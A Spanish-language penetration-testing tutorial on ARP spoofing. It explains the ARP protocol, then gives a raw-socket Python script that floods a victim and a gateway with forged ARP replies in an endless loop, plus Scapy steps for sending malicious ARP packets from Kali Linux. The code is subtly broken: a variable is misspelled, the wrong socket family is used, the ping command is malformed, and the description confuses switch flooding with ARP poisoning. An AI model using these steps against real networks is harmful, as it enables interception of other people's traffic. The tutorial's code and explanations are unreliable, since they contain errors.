Prueba de penetración de Python: suplantación de ARP

ARP puede definirse como un protocolo sin estado que se utiliza para mapear direcciones de Protocolo de Internet (IP) a direcciones de máquina física.

Trabajo de ARP

En esta sección, aprenderemos sobre el funcionamiento de ARP. Considere los siguientes pasos para comprender cómo funciona ARP:

  • Step 1 - Primero, cuando una máquina quiere comunicarse con otra, debe buscar en su tabla ARP la dirección física.

  • Step 2 - Si encuentra la dirección física de la máquina, el paquete después de convertirlo a su longitud correcta, se enviará a la máquina deseada.

  • Step 3 - Pero si no se encuentra ninguna entrada para la dirección IP en la tabla, ARP_request se transmitirá a través de la red.

  • Step 4- Ahora, todas las máquinas en la red compararán la dirección IP transmitida con la dirección MAC y si alguna de las máquinas en la red identifica la dirección, responderá a ARP_request junto con su dirección IP y MAC. Dicho mensaje ARP se llama ARP_reply.

  • Step 5 - Por fin, la máquina que envía la solicitud almacenará el par de direcciones en su tabla ARP y se llevará a cabo toda la comunicación.

¿Qué es ARP Spoofing?

Puede definirse como un tipo de ataque en el que un actor malintencionado envía una solicitud ARP falsificada a través de la red de área local. ARP Poisoning también se conoce como ARP Spoofing. Se puede entender con la ayuda de los siguientes puntos:

  • La primera suplantación de ARP, para sobrecargar el conmutador, construirá una gran cantidad de solicitudes de ARP falsificadas y paquetes de respuesta.

  • Entonces el interruptor se establecerá en modo de reenvío.

  • Ahora, la tabla ARP se inundaría con respuestas ARP falsificadas, de modo que los atacantes puedan rastrear todos los paquetes de red.

Implementación usando Python

En esta sección, entenderemos la implementación de Python de la suplantación de ARP. Para ello, necesitamos tres direcciones MAC: la primera de la víctima, la segunda del atacante y la tercera de la puerta de enlace. Junto con eso, también necesitamos usar el código del protocolo ARP.

Importemos los módulos requeridos de la siguiente manera:

import socket
import struct
import binascii

Ahora crearemos un socket, que tendrá tres parámetros. El primer parámetro nos informa sobre la interfaz del paquete (PF_PACKET para Linux específico y AF_INET para Windows), el segundo parámetro nos dice si es un socket sin formato y el tercer parámetro nos informa sobre el protocolo que nos interesa (aquí 0x0800 usado para IP protocolo).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Ahora proporcionaremos la dirección mac del atacante, la víctima y la máquina de puerta de enlace:

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Necesitamos dar el código del protocolo ARP como se muestra:

code ='\x08\x06'

Se han diseñado dos paquetes Ethernet, uno para la máquina víctima y otro para la máquina de puerta de enlace de la siguiente manera:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Las siguientes líneas de código están en orden de acuerdo con el encabezado ARP:

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Ahora debemos proporcionar las direcciones IP de la puerta de enlace y las máquinas víctimas (supongamos que tenemos las siguientes direcciones IP para la puerta de enlace y las máquinas víctimas):

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Convierta las direcciones IP anteriores a formato hexadecimal con la ayuda del socket.inet_aton() método.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Ejecute la siguiente línea de código para cambiar la dirección IP de la máquina de puerta de enlace.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementación usando Scapy en Kali Linux

La suplantación de ARP se puede implementar usando Scapy en Kali Linux. Siga estos pasos para realizar lo mismo:

Paso 1: dirección de la máquina atacante

En este paso, encontraremos la dirección IP de la máquina atacante ejecutando el comando ifconfig en el símbolo del sistema de Kali Linux.

Paso 2: dirección de la máquina de destino

En este paso, encontraremos la dirección IP de la máquina de destino ejecutando el comando ifconfig en el símbolo del sistema de Kali Linux, que debemos abrir en otra máquina virtual.

Paso 3: hacer ping a la máquina de destino

En este paso, necesitamos hacer ping a la máquina objetivo desde la máquina atacante con la ayuda del siguiente comando:

Ping –c 192.168.43.85(say IP address of target machine)

Paso 4: caché ARP en la máquina de destino

Ya sabemos que dos máquinas usan paquetes ARP para intercambiar direcciones MAC, por lo tanto, después del paso 3, podemos ejecutar el siguiente comando en la máquina de destino para ver el caché ARP:

arp -n

Paso 5: Creación de un paquete ARP usando Scapy

Podemos crear paquetes ARP con la ayuda de Scapy de la siguiente manera:

scapy
arp_packt = ARP()
arp_packt.display()

Paso 6: Envío de paquetes ARP maliciosos usando Scapy

Podemos enviar paquetes ARP maliciosos con la ayuda de Scapy de la siguiente manera:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Ahora, si volvemos a comprobar la caché ARP en la máquina de destino, veremos la dirección falsa '1.1.1.1'.